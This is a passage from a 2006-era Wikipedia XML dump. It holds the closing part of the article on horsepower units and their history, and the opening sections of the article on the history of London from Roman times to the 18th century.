Since taxable horsepower was computed based on bore and number of cylinders, not based on actual displacement, it gave rise to engines with 'undersquare' dimensions, i.e. relatively narrow bore, but long stroke; this tended to impose an artificially low limit on rotational speed ([[rpm]]), hampering the true power output and efficiency of the engine.
The situation persisted for several generations of four- and six-cylinder British engines: for example, [[Jaguar (car)|Jaguar's]] 3.8-litre XK engine had six cylinders with a bore of 87 mm (3.43 inches) and a stroke of 106 mm (4.17 inches), where most American automakers had long since moved to oversquare (wide bore, short stroke) V-8s.

== Metric horsepower ==

=== PS ===
This unit (German: ''Pferdestärke'' = horse strength) is no longer a lawful unit, but is still commonly used in Europe, South America and Japan, especially by the automotive and motorcycle industry. It was adopted throughout continental Europe with designations equivalent to the English &quot;horse power&quot;, but mathematically different from the British unit. It is defined by the ''Physikalisch-Technische Bundesanstalt'' (PTB)[http://www.ptb.de/] in [[Braunschweig (city)|Braunschweig]] as exactly:

: 1 PS = 75 [[kilopond|kp]]·m/s = 735.49875 W = 0.9863201652997627 hp (SAE)

The PS was adopted by the [[DIN|Deutsches Institut für Normung (DIN)]], and subsequently, by the automotive industry throughout most of Europe. (In the nineteenth century, however, the French did not use this German unit, but had one of their own, the [[Poncelet]].) In 1992, the PS was rendered obsolete by EEC directives, where it was replaced by the kilo[[watt]] as the official power measuring unit, but in situations where horsepower was used for commercial and advertising purposes, it continued to be used, as customers are not familiar with the usage of kilowatts for combustion engines.

The European and Japanese automotive industries may use &quot;horsepower&quot; or &quot;hp&quot; (rather than &quot;PS&quot; or &quot;CV&quot;, etc.) when referring to metric horsepower in their press-releases or in the media.

=== pk ===
A Dutch ''paardekracht'' equals the German ''Pferdestärke'' hence
: 1 pk = 735.49875 W

=== CV ===
Often the French name for the Pferdestärke.  Also a French unit for [[tax horsepower]], short for ''chevaux vapeur'' (&quot;steam horses&quot;) or ''cheval-vapeur'', hence [[Citroën 2CV]].

In Italian (&quot;Cavalli&quot;), Spanish (&quot;Caballos&quot;), and Portuguese (&quot;Cavalos&quot;), 'CV' is the equivalent to the German 'PS'.

=== ch ===
This is a French unit for automobile power. The symbol ch is short for ''chevaux'' (&quot;horses&quot;). Some sources give it as 735.5 W, but it is generally used interchangeably with the German 'PS'.

== Boiler horsepower ==

A '''boiler horsepower''' is used for boilers in [[power station|power plants]].  It is equal to 33,475 [[Btu]]/h (9.8095 kW), which is the energy rate needed to evaporate 34.5 lb (15.65 kg) of water at 212 [[degree Fahrenheit|°F]] (100 [[degree Celsius|°C]]) in an hour.

== Electrical horsepower==

The '''electrical horsepower''' is used by the electrical industry for electric motors and is defined to be exactly 746 W (at 100% efficiency).

==Relationship with torque==
For a given [[torque]], the equivalent power may be calculated. The standard equation relating torque in [[foot-pound]]s, rotational speed in [[RPM]] and horsepower is:
:&lt;math&gt;P / {\rm hp} = {[\tau / ({\rm ft \cdot lbf})] [\omega / ({\rm r/min})] \over 5252}&lt;/math&gt;. 
This is based on Watt's definition of the mechanical horsepower. The constant 5252 is rounded; the exact value is 16,500/π. See [[torque#Relationship between torque and power|torque]].

==History of the term &quot;horsepower&quot;==
The term &quot;horsepower&quot; was invented by [[James Watt]] to help market his improved [[steam engine]].   He had previously agreed to take royalties of one third of the savings in coal from the older [[Thomas Newcomen|Newcomen]] steam engines[http://www.pballew.net/arithm17.html].  This royalty scheme did not work with customers who did not have existing steam engines but used horses instead.  Watt determined that a horse could turn a mill wheel 144 times in an hour (or 2.4 times a minute).  The wheel was 12 feet in radius, thus in a minute the horse travelled 2.4 × 2π × 12 feet.  Watt judged that the horse could pull with a [[force]] of 180 pounds (just assuming that the measurements of mass were equivalent to measurements of force in pounds-force, which were not well-defined units at the time).  So:
:&lt;math&gt; power = \frac{work}{time} = \frac{force \times distance}{time} = \frac{(180 \mbox{ lbf})(2.4 \times 2 \pi \times 12 \mbox{ ft})}{1\ \mbox{min}}=32,572 \frac{\mbox{ft} \cdot \mbox{lbf}}{\mbox{min}}&lt;/math&gt;
This was rounded to an even 33,000 ft·lbf/min[http://sections.asme.org/Philadelphia/sept02.htm].

Others recount that Watt determined that a pony could lift an average 220 pounds 100 feet (30 m) per minute over a four-hour working shift.  Watt then judged a horse was 50% more powerful than a pony and thus arrived at the 33,000 ft·lbf/min figure[http://www.i5ive.com/article.cfm/history_bizarre_mysterious/114862]. 

''Engineering in History'' recounts that John Smeaton initially estimated that a horse could produce 22,916 foot-pounds per minute.  John Desaguliers increased that to 27,500 foot-pounds per minute.  &quot;Watt found by experiment in 1782 that a 'brewery horse' was able to produce 32,400 foot-pounds per minute&quot;.  James Watt and Matthew Boulton standardized that figure at 33,000 the next year[http://print.google.com/print?id=AVn_Sm56OCoC&amp;pg=171&amp;lpg=171&amp;dq=smeaton&amp;sig=6N_TJXrLqwQI-Fm7mU9ebKS1djA].

Put into perspective, a healthy human can sustain about 0.1 horsepower, and trained athletes can manage up to about 0.3 horsepower for a period of several hours. Most observers familiar with horses and their capabilities estimate that Watt was either a bit optimistic or intended to underpromise and overdeliver; few horses can maintain that effort for long.  Regardless, comparison to a horse proved to be an enduring marketing tool.

===Conversion of historical definition to watts===
The historical value of 33,000 ft·lbf/min may be converted to the SI unit of watts by using the following [[conversion of units]] factors:
*1 ft = 0.3048m
* 1 lbf = ''[[gee|g]]&lt;sub&gt;n&lt;/sub&gt;'' × 1 lb = 9.80665 m/s&lt;sup&gt;2&lt;/sup&gt; × 1 lb × 0.45359237 kg/lb = 4.44822 kg·m/s&lt;sup&gt;2&lt;/sup&gt; = 4.44822 N
*60 seconds = 1 minute

:&lt;math&gt;33,000 \frac{\mbox{ft} \cdot \mbox{lbf}}{\mbox{min}} \times \frac{0.3048 \mbox{ m}}{\mbox{ft}}  \times \frac{4.44822 \mbox{ N}}{\mbox{lbf}}  \times \frac{\mbox{min}}{60 \mbox{ s}}=745.69987158227022 \ \frac{\mbox{N} \cdot \mbox{m}}{\mbox{s}}&lt;/math&gt;

And the [[watt]] is defined as &lt;math&gt;1\ \mbox{W} = 1 \frac{\mbox{N} \cdot \mbox{m}}{\mbox{s}} &lt;/math&gt; so the historical figure of 33,000 ft·lbf/min converts exactly to the modern definition.

==References==
*H.W.Dickenson, ''James Watt - Craftsman and Engineer'', Cambridge University Press, 1936, p 145.
*Richard Shelton Kirby, et al, ''Engineering in History'', Courier Dover Publications, 1990, p 171, ISBN 0486264122

==External links==
*&quot;[http://www.straightdope.com/mailbag/mhorsepower.html What's the difference between horsepower and torque?]&quot; at the [[Straight Dope]]
*&quot;[http://www.web-cars.com/math/horsepower.html What is Horsepower?]&quot; at [http://www.web-cars.com WebCars]

[[Category:Imperial units]]
[[Category:Units of power]]
[[Category:Customary units in the United States]]

&lt;!-- The below are interlanguage links. --&gt;

[[bg:Конска сила]]
[[cs:Koňská síla]]
[[da:Hestekraft]]
[[de:Pferdestärke]]
[[et:Hobujõud]]
[[es:Caballo de vapor]]
[[eo:Ĉevalpovo]]
[[fr:Cheval-vapeur]]
[[it:Cavallo vapore]]
[[he:כוח סוס]]
[[lt:Arklio galia]]
[[nl:Paardenkracht]]
[[ja:馬力]]
[[no:Hestekraft]]
[[nn:Hestekraft]]
[[pl:Koń parowy]]
[[pt:Cavalo (unidade)]]
[[ru:Лошадиная сила]]
[[sl:Konjska moč]]
[[fi:Hevosvoima]]
[[sv:Hästkraft]]
[[vi:Mã lực]]
[[zh:馬力]]</text>
    </revision>
  </page>
  <page>
    <title>History of London</title>
    <id>14020</id>
    <revision>
      <id>42078622</id>
      <timestamp>2006-03-03T17:57:55Z</timestamp>
      <contributor>
        <username>UkPaolo</username>
        <id>269651</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/216.20.0.118|216.20.0.118]] ([[User talk:216.20.0.118|talk]]) to last version by StormKeeper</comment>
      <text xml:space="preserve">'''[[London]]''' has a history that goes back 2,000 years. During this time, it has experienced [[Black Death|plague]], devastating [[fire]], [[civil war]], aerial [[The Blitz|bombardment]], and [[terrorism|terrorist]] attacks, yet, it has still grown to become one of the financial and [[culture|cultural]] [[capital]]s of the [[world]].

See [[City of London]] for details on the historic core of London.
[[Image:towrlndn.JPG|thumb|253px|right|The [[Tower of London]].]]


==Legendary foundations and prehistoric London==

The [[Mediæval]] [[mythology]] of [[Geoffrey of Monmouth]] tells that London was founded by [[Brutus of Troy]] in the [[Bronze Age]], and was known as ''Troia Nova'', or New [[Troy]], which was corrupted to ''Trinovantum''. (The [[Trinovantes]] were the tribe who inhabited the area prior to the Romans). King [[Lud son of Heli|Lud]] renamed the town ''CaerLudein'', from which London is derived. Geoffrey provides prehistoric London with a rich array of legendary kings and interesting stories. 

However, despite intensive excavations, archaeologists have found no evidence of a prehistoric or major settlement in the area. There have been scattered prehistoric finds, evidence of farming, burial and traces of habitation, but nothing more substantial. It is now considered unlikely that a pre-Roman city existed, but as much of the Roman city remains unexcavated, it is still possible that some settlement may yet be discovered.

So, during the [[prehistoric]] times, London was most likely a rural area with scattered settlement. Rich finds such as the [[Battersea Shield]], found in the [[Thames]] near Chelsea, suggest the area was important; there may have been important settlements at [[Egham]] and [[Brentford]], and there was a [[hillfort]] at [[Uppall]], but no city in the area of the Roman London, the present day [[City of London]].

==Roman London==
[[Image:Antoninianus Carausius leg4-RIC 0069v.jpg|thumb|[[Carausius]] coin from Londinium mint.]]
''Londinium'' was established as a town by the [[Roman Empire|Romans]] after the [[Roman invasion of Britain|invasion of 43 AD]] led by the Emperor [[Claudius]]. [[Archaeology|Archaeological]] excavation (undertaken by the Department of Urban Archaeology of the Museum of London now called [[MOLAS]]) since the 1970s has also failed to unearth any convincing traces of major settlement before c.50 &amp;mdash; so ideas about ''Londinium'' being a military foundation around the Fort that protected [[London Bridge]] are now largely discounted.

The name ''[[Londinium]]'' is thought to be pre-Roman in origin although there is no consensus on what it means. One suggestion is that it derived from a personal name meaning 'fierce'.  However, recent research by [[Richard Coates]] has suggested that the name derives from pre-Celtic Old European &amp;mdash; ''Plowonida'' &amp;mdash; from 2 roots, &quot;''plew''&quot; and &quot;''nejd''&quot;, meaning something like &quot;the flowing river&quot; or &quot;the wide flowing river&quot;. Londinium therefore means &quot;the settlement on the wide river&quot;. He suggests that the river was called the [[Thames]] up river where it was narrower, and ''Plowonida'' down river where it was too wide to ford.  For a discussion on the legends of London and Plowonida see [http://chr.org.uk/legends.htm]. The story of the settlement being named after [[Lud son of Heli|Lud]] is considered unlikely.

Archaeologists now believe that London was founded as a civilian settlement by 50 AD. A [[wood]]en drain by the side of the main [[roman road]] excavated at [[No 1 Poultry]] has been dated to 47 which is likely to be the foundation [[Calendar date |date]].

Ten years later, ''Londinium'' was sacked by the [[Iceni]] lead by the [[Kingdom of Great Britain |British]] queen [[Boudica]].  Excavation has revealed extensive evidence of destruction by fire at this date, and recently a military compound has been discovered in the City of London which may have been the headquarters of the Roman fight back against the British uprising.

The city recovered after perhaps 10 years, and reached its population height by about 120 AD, with a population of around 60,000. London became the capital of [[Roman Britain]] (Britannia) (previously the capital was the older, nearby town of [[Colchester]]). Thereafter began a slow decline; however, habitation and associated building work did not cease. By 375 London was a small wealthy community protected by completed defences. By 410 Roman [[occupation]] officially came to an end, with the citizens being ordered to look after their own defenses.  By the middle of the 5th century the Roman city was practically abandoned.

==Saxon London==
After being abandoned for perhaps 150 years, its strategic position on the [[River Thames|Thames]] meant that by 600 [[Anglo-Saxon]]s had revived settlement in the area. These Saxon settlements were not in the ancient walled [[City of London]] (which was named ''Lundenburh'' = &quot;London Fort&quot;), but an area named [[Lundenwic]] = &quot;London settlement&quot; one kilometre upstream on the Thames.

Recent excavations in the [[Covent Garden]] area have uncovered extensive Anglo-Saxon settlement dating back into the 7th century. The excavations show that the settlement covered about 600,000 square metres, stretching from the present-day National Gallery site in the west to [[Aldwych]] in the east. The name &quot;Aldwych&quot; (from [[Anglo-Saxon]] ''ealdwīc'' = &quot;old settlement&quot;) shows that, some time in the late 9th or early 10th century, the focus of settlement shifted from the 'Old District' back to the [[City of London]]. This may have been due to administrative changes introduced by [[Alfred the Great]] after his defeat of [[Guthrum]] and the Danes, or a move to a site easier to defend against [[Viking]] attacks. 

Alfred appointed his son-in-law [[Earl Aethelred of Mercia]], who was the heir to the destroyed Kingdom of [[Mercia]], as [[Governor]] of London and established two defended [[Boroughs]] to defend the bridge which was probably rebuilt at this time. London became known as ''[[Lundenburgh|Lundenburh]]'', and the southern end of the Bridge was established as the Borough of [[Southwark]] or ''Suthringa Geworc'' (defensive work of the men of [[Surrey]]) as it was originally known.

== Mediæval London ==
[[Image:London 1300 Historical Atlas William R Shepherd (died 1934).PNG|thumb|300px|London in 1300.]]
''See [[City of London]] for details of city government in the Mediæval period.''

The [[Norman invasion]] of Britain in 1066 is usually considered to be the beginning of the Mediæval period. Under [[William I of England|William the Conqueror]] several forts were constructed in London, the [[Tower of London]], [[Baynard's Castle]] and [[Montfichet's Castle]]  to prevent [[rebellion]]s, William the Conqueror also granted a [[charter]] in 1067 upholding previous [[Anglo-Saxons|Saxon]] rights, privileges and laws. Its growing self-government became firm with [[election]] rights granted by [[John of England|King John]] in 1199 and 1215.

In 1097 [[William Rufus]] the son of [[William the Conqueror]] began the construction of 'Westminster Hall', the hall was to prove the basis of the [[Palace of Westminster]] which throughout the Mediæval period became the prime royal residence. 

In 1176 construction began of the famous [[London Bridge]] (completed in 1209) which was built on the site of several earlier wooden bridges. This bridge would last for 600 years, and remained the only bridge across the [[River Thames]] until 1739. 

May 1216 saw the last time that London was truly occupied by a continental armed force, during the [[First Barons' War]].  This was when the young [[Louis VIII of France]] marched through the streets to [[St Paul's Cathedral]].  Throughout the city and in the cathedral he was celebrated as the new ruler.

It was expected that this would free the English from the tyranny of King [[John of England|John I]].  This was only temporarily true.  The barons' supporting the 29-year old French prince decided to throw their support back to an English king when John I died.  Over the next several hundred years, London would shake off the heavy French cultural and linguistic influence which had been there since the times of the Norman Conquest.  The city, like [[Dover]], would figure heavily into the development of [[Early Modern English]].

During the [[Peasants' Revolt]] of 1381 led by [[Wat Tyler]], London was invaded. A group of peasants stormed the [[Tower of London]] and executed the [[Lord Chancellor]], Archbishop [[Simon Sudbury]], and the [[Lord Treasurer]]. The peasants looted the city and set fire to numerous buildings. Tyler was stabbed to death by the Lord Mayor [[William Walworth]] in a confrontation at [[Smithfield, London|Smithfield]], thus ending the revolt.

During the medieval period London grew up in two different parts. The nearby up-river town of [[Westminster]] became the [[Royal]] capital and centre of government, whereas the [[City of London]] became the centre of commerce and trade. The area between them became entirely [[urbanization|urban]]ised by 1600.

Trade and commerce grew steadily during the Middle Ages, and London grew rapidly as a result. In 1100 London's population was little more than 15,000. By 1300 it had grown to roughly 80,000. Trade in London was organised into various [[guild]]s, which effectively controlled the city, and elected the [[Lord Mayor of London]].

Mediæval London was made up of narrow and twisting streets, and most of the buildings were made from combustible materials such as wood and straw, which made fire a constant threat. Sanitation in London was poor. London lost at least half of its population during the [[Black Death]] in the mid-14th century. Between 1348 and the [[Great Plague]] of 1666 there were sixteen outbreaks of [[Bubonic plague|plague]] in the city.

==Tudor London (1485-1603)==
[[Image:London - John Norden's map of 1593.JPG|thumb|300px|[[John Norden]]'s map of London in 1593. There is only one bridge across the Thames, but parts of Southwark on the south bank of the river have been developed.]]
[[Henry VII of England|Henry Tudor]], who seized the English throne as Henry VII in 1485, and married [[Elizabeth of York]], thus putting an end to the [[War of the Roses]], was a resolute and efficient monarch who centralised political power on the crown. He commissioned the celebrated &amp;#8216;&amp;#8217;Henry VII's Chapel&amp;#8217;&amp;#8217; at [[Westminster Abbey]], and continued the royal practice of borrowing funds from the City of London for his wars against the French - and repaid the loans on the due date, which was something of an innovation. Generally however, he took little interest in enhancing London. Nonetheless, the comparative stability of the [[Tudor period|Tudor]] kingdom had long term effects on the city, which grew rapidly during the 16th century as the nobles found that power and wealth were now best won by competing for favour at court, rather by warring amongst themselves in the provinces as they had so often done in the past.

Nonetheless Tudor London was often tumultuous by modern standards. In 1497 the [[pretender]] [[Perkin Warbeck]], who claimed to be [[Richard, Duke of York (Prince in the Tower)|Richard, Duke of York]], the younger brother of the boy monarch [[Edward V of England|Edward V]], encamped on [[Blackheath, London|Blackheath]] with his followers. At first there was a panic among the citizens, but the king organised the defence of the city, the rebels dispersed, and Warbeck was soon captured and hanged at [[Tyburn, London|Tyburn]]. 

The [[Reformation]] produced little bloodshed in London, with most of the higher classes co-operating to bring about a gradual shift to [[Protestantism]]. Before the Reformation, more than half of the area of London was occupied by [[monasteries]], [[nunnery|nunneries]] and other religious houses, and that about a third of the inhabitants were monks, nuns and friars. Thus [[Henry VIII of England|Henry VIII]]&amp;#8217;s &amp;#8220;[[Dissolution of the Monasteries]]&amp;#8221; had a profound effect on the city as nearly all of this property changed hands. The process started in the mid 1530s, and by 1538 most of the larger houses had been abolished.

Shortly before his death, Henry refounded [[St Bartholomew's Hospital]], but most of the large buildings were left unoccupied when he died in 1547. In the reign of [[Edward VI of England|Edward VI]] many passed to the [[Livery Company|City Livery Companies]] in lieu of payment of crown debts, and in some cases the rents arising from them were applied to charitable purposes. Separately, in 1550 the City purchased the [[manorialism|manor]] of [[Southwark]], on the south bank of the Thames and refounded the monastery of St. Thomas as [[St. Thomas' Hospital]]. [[Christ's Hospital]] was established in this period, and [[Bridewell Palace]] was converted into a children's home and house of correction for women. The Dissolution was also highly profitable for favoured courtiers who were able to obtain property on generous terms. Much of this was intensively rebuilt, cramming the extra housing required by London&amp;#8217;s burgeoning population into every corner. 

On the death of Edward VI in 1553, [[Lady Jane Grey]] was received at the Tower of London as queen, but the lord mayor, aldermen and recorder soon changed course and proclaimed [[Mary Tudor|Mary I of England]] queen instead. The following year the new monarch&amp;#8217;s decision to marry [[Philip II of Spain]] provoked an uprising led by [[Thomas Wyatt the younger|Sir Thomas Wyatt]], who took possession of Southwark, and later reached [[Charing Cross]], on the road from Westminster to the City, which is now regarded as the fulcrum of London, before moving on to [[Ludgate]]. But there was no uprising in the City and Wyatt surrendered. This demonstrates the crucial political importance of the City at that time, and the small importance of the districts outside the walls. 

London was rapidly rising in importance amongst Europe&amp;#8217;s commercial centres. Many small industries were booming, especially weaving. Trade expanded beyond Western Europe to [[Russia]], the [[Levant]] and to the Americas. This was the period of [[mercantilism]] and monopoly trading companies such as the [[Russia Company]] (1555) and the [[British East India Company|East India Company]] (1600) were established in London by [[Royal Charter]]. The latter, which ultimately came to rule much of [[India]], was one of the key institutions in London and in Britain as a whole for two and a half centuries. In 1572 the Spanish destroyed the great commercial city of [[Antwerp]], giving London first place among the [[North Sea]] ports. Immigrants arrived in London not just from all over England and Wales, but from abroad as well, for example [[Huguenot]]s from France.

It was during this period that the first maps of London were drawn. The great bulk of the population was still enclosed in the City, living at a density which in the 21st century is unknown in the developed world. The old highway from the City to the royal court at Westminster, [[Strand, London|The Strand]], was lined with aristocrats&amp;#8217; mansions, but the two settlements were otherwise separate, and Westminster was a small fraction of the size of the City. The Thames, not the Strand, was the most important means of communication between the two. Other districts which are almost as central in 21st century London as are Westminster and the City themselves were still rural in the late 16th century. [[Covent Garden]] really was a [[market garden]]. Hospitals and convalescent homes were established in Holborn and Bloomsbury to take advantage of the country air. [[Islington]] and [[Hoxton]] were outlying villages.

In 1561 lightning struck [[St Paul's Cathedral|Old St Paul&amp;#8217;s Cathedral]]. The roof was repaired, but the spire was never replaced. In 1565 [[Sir Thomas Gresham|Thomas Gresham]] founded a new mercantile exchange in the City, which was awarded the title the &amp;#8220;[[Royal Exchange (London)|Royal Exchange]]&amp;#8221;  by [[Elizabeth I of England|Queen Elizabeth]] in 1571. 
[[Image:The Swan cropped.png|thumb|A 1596 sketch of a performance in progress at The Swan]]
The late 16th century, when [[William Shakespeare]] and his contemporaries lived and worked in London, was one of the most lustrous periods in the city&amp;#8217;s cultural history. There was considerably hostility to the development of the [[Elizabethan theatre|theatre]] however. Public entertainments produced crowds, and crowds were feared by the authorities because they might become mobs, and by many ordinary citizens who dreaded that large gatherings might contribute to the spread of plague. Theatre itself was discountenanced by the increasingly influential [[Puritan]] strand in the nation. However Queen Elizabeth loved plays, which were performed for her privately at Court, and approved of public performances of ''&quot; such plays only as were fitted to yield honest recreation and no example of evil.&quot;'' On April 11, 1582, the Lords of the [[Privy Council of the United Kingdom|Council]] wrote to the Lord Mayor to the effect that, as ''&quot;her Majesty sometimes took delight in those pastimes, it had been thought not unfit, having regard to the season of the year and the clearance of the city from infection, to allow of certain companies of players in London, partly that they might thereby attain more dexterity and perfection the better to content her Majesty.&quot;''

Nonetheless the theatres were mostly built outside of the City boundaries, especially on the south side of the river, which was already established as an entertainment centre where less salubrious entertainments such as [[bear-baiting]] might be seen. Theatres on [[Bankside]] included [[Globe Theatre|The Globe]], [[The Rose (theatre)|The Rose]], [[The Swan (theatre)|The Swan]], and The Hope. [[The Theatre]], and The Curtain were in located in [[Shoreditch]], beyond the City&amp;#8217;s eastern wall, and the Blackfriars Theatre, although within the walls, was outside of the City&amp;#8217;s jurisdiction. 

During the mostly calm later years of Elizabeth's some of her courtiers and some of the wealthier citizens of London built themselves country residences in [[Middlesex]], [[Essex]] and [[Surrey]]. This was an early stirring of the villa movement, the taste for residences which were neither of the city nor on an agricultural estate, but when the last of the Tudors died in 1603, London was still very compact.

==Stuart London (1603-1714)==
[[Image:Panorama of London by Claes Van Visscher, 1616.jpg|thumb|600px|A panorama of London by [[Claes Van Visscher]], 1616. [[Old St Paul's]] had lost its spire by this time. The two theatres on the foreground (Southwark) side of the Thames are [[The Bear Garden]] and [[Globe Theatre|The Globe]]. The large church in the foreground is St Mary Overie, now [[Southwark Cathedral]].]]
London's expansion beyond the boundaries of the City was decisively established in the 17th century. In the opening years of that century the immediate environs of the City, with the principal exception of the aristocratic residences in the direction of Westminster, were still considered insalubrious. Immediately to the north was [[Moorfields]], which had recently been drained and laid out in walks, but it was frequented by beggars and travellers who crossed it in order to get into London tried not to linger. Adjoining Moorfields were [[Finsbury]] Fields, a favourite practising ground for the archers. [[Mile End]], then a common on the Great Eastern Road, was famous as a rendezvous for the troops.

The preparations for the coronation of [[James I of England|King James I]] were interrupted by a severe plague epidemic, which may have killed over thirty thousand people. The [[Lord Mayor's Show]], which had been discontinued for some years, was revived by order of the king in 1609. The dissolved monastery of the [[London Charterhouse|Charterhouse]], which had been bought and sold by the courtiers several times, was purchased by Thomas Button for £13,000. The new hospital, chapel, and schoolhouse were begun in 1611. [[Charterhouse School]] was to be one of the principal [[public school (England)|public schools]] in London until it moved to Surrey in Victorian times, and the site is still used as a [[Barts and The London, Queen Mary's School of Medicine and Dentistry|medical school]].

The general meeting-place of Londoners in the day-time was the nave of [[St Paul's Cathedral|Old St Paul's]]. Merchants conducted business in the aisles, and used the font as a counter upon which to make their payments; lawyers received clients at their particular pillars; and the unemployed looked for work. St Paul's Churchyard was the centre of the book trade and [[Fleet Street]] was a centre of public entertainment. Under James I the theatre, which established itself so firmly in the latter years of Elizabeth, grew further in popularity. The performances at the public theatres were complemented by elaborate [[masques]] at the royal court and at the inns of court. 

[[Charles I of England|Charles I]] acceded to the throne in 1625. During his reign aristocrats began to inhabit the [[West End]] in large numbers. In addition to those who had specific business at court, increasing numbers of country landowners and their families lived in London for part of the year simply for the social life. This was the beginning of the &quot;London season&quot;.  [[Lincoln's Inn Fields]], was built about 1629. The piazza of [[Covent Garden]], designed by England's first classically trained architect [[Inigo Jones]]  followed in about 1632. The neighbouring streets were built shortly afterwards, and the names of Henrietta, Charles, James, King and York Streets were given after members of the royal family. 
[[image:Samuel_Pepys.jpg|thumb|Chronicler of Stuart London, [[Samuel Pepys]]]]
In January 1642 five members of parliament whom the King wished to arrest were granted refuge in the City. In August of the same year the King raised his banner at [[Nottingham]], and during the [[English Civil War]] London took the side of the parliament. Initially the king had the upper hand in military terms and in November he won the Battle of Brentford a few miles to the west of London. The City organised a new makeshift army and Charles hesitated and retreated. Subsequently an extensive system of fortifications was built to protect London from a renewed attack by the Royalists. This comprised a strong earthen rampart, enhanced with bastions and redoubts. It was well beyond the City walls and encompassed the whole urban area, including Westminster and Southwark. London was not seriously threatened by the royalists again, and the financial resources of the City made an important contribution to the parliamentarians victory in the war.

The unsanitary and overcrowded City of London has suffered from the numerous outbreaks of the plague many times over the centuries, but in Britain it is the last major outbreak which is remembered as the &quot;[[Great Plague]]&quot; It occurred in 1665 and 1666 and killed around 60,000 people, which was one fifth of the population. [[Samuel Pepys]] chronicled the epidemic in his diary. On the 4th of September 1665 he wrote ''&quot;I have stayed in the city till above 7400 died in one week, and of them about 6000 of the plague, and little noise heard day or night but tolling of bells.&quot; ''

The Great Plague was immediately followed by another catastrophe, albeit one which helped to put an end to the plague. On the Sunday 2nd of September 1666 the [[Great Fire of London]] broke out at one o'clock in the morning at a house in Pudding Lane in the southern part of the City. Fanned by an eastern wind the fire spread, and efforts to arrest it by pulling down houses to make firebreaks were disorganised to begin with. On Tuesday night the wind fell somewhat, and on Wednesday the fire slackened. On Thursday it was extinguished, but on the evening of that day the flames again burst forth at the Temple. Some houses were at once blown up by gunpowder, and thus the fire was finally mastered. [[The Monument]] was built to commemorate the fire: for over a century and a half it bore an inscription attributing the conflagration to a ''&quot;popish frenzy&quot;''.
[[Image:John Evelyn's plan for the rebuilding of London after the Great Fire.JPG|thumb|300px|John Evelyn's plan for the rebuilding of London after the Great Fire.]]
The fire destroyed about 60 % of the City, including Old St Paul's Cathedral, eighty-seven parish churches, forty-four [[livery company]] halls and the [[Royal Exchange]]. However the number of lives lost was surprisingly small; it is believed to have been sixteen at most. Within a few days of the fire three plans were presented to the king for the rebuilding of the city, by [[Christopher Wren]], [[John Evelyn]] and [[Robert Hooke]]. Wren proposed to build main thoroughfares north and south, and east and west, to insulate all the churches in conspicuous positions, to form the most public places into large piazzas, to unite the halls of the twelve chief livery companies into one regular square annexed to the [[Guildhall, London|Guildhall]], and to make a fine quay on the bank of the river from [[Blackfriars]] to the [[Tower of London]]. Wren wished to build the new streets straight and in three standard widths of thirty, sixty and ninety feet. Evelyn's plan differed from Wren's chiefly in proposing a street from the church of [[St Dunstan's in the East]] to the St Paul's, and in having no quay or terrace along the river. These plans were not implemented, and the rebuilt city generally followed the streetplan of the old one, and most of it has survived into the 21st century.

[[Image:London - Richard Blome's map of 1673.JPG|thumb|300px|Richard Blome's map of London (1673). The development of the [[West End]] had recently begun to accelerate.]]

Nonetheless, the new City was different from the old one. Many aristocratic residents never returned, preferring to take new houses in the [[West End]], where fashionable new districts such as [[St. James's]] were built close to the main royal residence, which was [[Whitehall Palace]] until it was destroyed by fire in the 1690s, and thereafter [[St. James's Palace]]. The rural lane of [[Piccadilly]] sprouted courtiers mansions such as [[Burlington House]]. Thus the separation between the middle class mercantile City of London, and the aristocratic world of the court in [[Westminster]]  became complete. In the City itself there was a move from wooden buildings to stone and brick construction to reduce the risk of fire. The [[Act of Parliament]] &quot;for rebuilding the city of London&quot; stated ''&quot;building with brick [is] not only more comely and durable, but also more safe against future perils of fire&quot;''. From then on only doorcases, window-frames and shop fronts were allowed to be made of wood.

Christopher Wren's plan for a new model London came to nothing, but he was appointed to rebuild the ruined parish churches and to replace [[St Paul's Cathedral]]. His domed [[baroque]] cathedral was the primary symbol of London for at least a century and a half. As city surveyor, [[Robert Hooke]] oversaw the reconstruction of the City's houses. The [[East End]], that is the area immediately to the east of the city walls, also became heavily populated in the decades after the Great Fire. London's docks began to extend downstream, attracting many working people who worked on the docks themselves and in the processing and distributive trades. These people lived in [[Whitechapel]], [[Wapping]], [[Stepney]] and [[Limehouse]], generally in slum conditions. 

In the winter of 1683-1684 a [[Thames frost fairs|frost fair]] was held on the Thames. The frost, which began about seven weeks before Christmas and continued for six weeks after, was the greatest on record. The [[Revocation of the Edict of Nantes]] in 1685, led to a large migration on [[Huguenots]] to London. They established a silk industry at [[Spitalfields]].

At this time the City of London was becoming the world's leading financial centre, superseding [[Amsterdam]] in primacy. The [[Bank of England]] was founded in 1694, and the [[British East India Company]] was expanding its influence. [[Lloyd's of London]]  also began to operate in the late 17th century. In 1700 London handled 80% of England's imports, 69% of its exports and 86% of its re-exports. Many of the goods were luxuries from the Americas and Asia such as silk, sugar, tea and tobacco. The last figure emphasises London's role as an [[entrepot]]: while it had many craftsmen in the 17th century, and would later acquire some large factories, its economic prominence was never based primarily on industry. Instead it was a great trading and redistribution centre.  Goods were brought to London by England's increasingly dominant merchant navy, not only to satisfy domestic demand, but also for re-export throughout Europe and beyond.

[[William III of England|William III]] cared little for London, the smoke of which gave him asthma, and after the first fire at Whitehall Palace (1691) he purchased Nottingham House and transformed it into [[Kensington Palace]]. [[Kensington]] was then an insignificant village, but the arrival of the court soon caused it to grow in importance. The palace was rarely favoured by future monarchs, but its construction was another step in the expansion of the bounds of London. During the same reign [[Greenwich Hospital]], then well outside the boundary of London, but now comfortably inside it, was begun; it was the naval complement to the [[Chelsea Hospital]] for former soldiers, which has been founded in 1681. During the reign of [[Queen Anne of England|Queen Anne]] an act was passed authorising the building of fifty new churches to serve the greatly increased population living outside the boundaries of the City of London.

==18th century London==
[[Image:Panoramic view of London in 1751 by T. Bowles.JPG|thumb|300px|A view of London from the east in 1751]] 
{{expandsect}}

The 18th century was a period of rapid growth for London, reflecting an increasing national population, the early stirrings of the [[Industrial Revolution]], and London's role at the centre of the evolving [[British Empire]].

During the Georgian period London spread beyond its traditional limits at an accelerating pace. New districts such as [[Mayfair]] were built for the rich in the [[West End]], new bridges over the Thames encouraged an acceleration of development in [[South London]] and in the East End, the Port of London expanded downstream from the City. 
[[image:Westminster.JPG|thumb|240px|[[Westminster Bridge]] and the [[Palace of Westminster]], ca 1890]]
